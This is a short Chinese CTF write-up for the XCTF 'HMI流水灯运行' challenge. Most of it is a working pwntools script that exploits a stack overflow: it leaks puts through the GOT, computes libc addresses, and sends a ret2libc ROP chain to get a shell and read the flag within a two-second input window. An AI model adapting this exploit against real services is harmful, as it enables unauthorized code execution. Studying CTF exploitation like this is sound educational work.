XCTF-HMI流水灯运行-WP
这道题目挺有点意思,也让我知道了工控安全在ctf是怎么体现的。
其实很简单

就是这样的一个栈溢出而已,几乎没有保护,我们可以为所欲为。但是需要特殊处理,程序一直在跑流水灯

当i==2,k==2的时候会退出,设置了一个信号,有两秒钟的短暂输入时间,我们在这个时候输入rop链就可以get shell了。不过整个过程只有两秒钟,很快就会重新被流水灯刷屏,所以不得不通过脚本直接帮我们cat flag。
输入的时机很好判断,可以输入前会puts一个换行,也就是说会直接接受到两个换行,这个时候输入就可以了。
exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context(log_level = 'debug')
sh = remote("220.249.52.134","40989")
#sh = process("./format")
elf = ELF("./format")
libc = ELF("./libc_32.so.6")
payload = 'a' * 0x88 + 'b' * 4
payload += p32(elf.plt["puts"])
payload += p32(0x8048888) #ret2gee
payload += p32(elf.got["puts"])
sh.recvuntil('\n\n')
sh.sendline(payload)
puts_addr = u32(sh.recv(4))
system_addr = puts_addr - libc.symbols["puts"] + libc.symbols["system"]
bin_sh = puts_addr - libc.symbols["puts"] + libc.search('/bin/sh').next()
payload = 'a' * 0x88 + 'b' * 4 + p32(system_addr) + 'ret2' + p32(bin_sh)
sh.sendline(payload)
sh.sendline("cat flag")
print sh.recvuntil('}\n')
sh.interactive()
不知道为什么,最后的recvuntil必须接收的是'}\n',接受'}'是不行的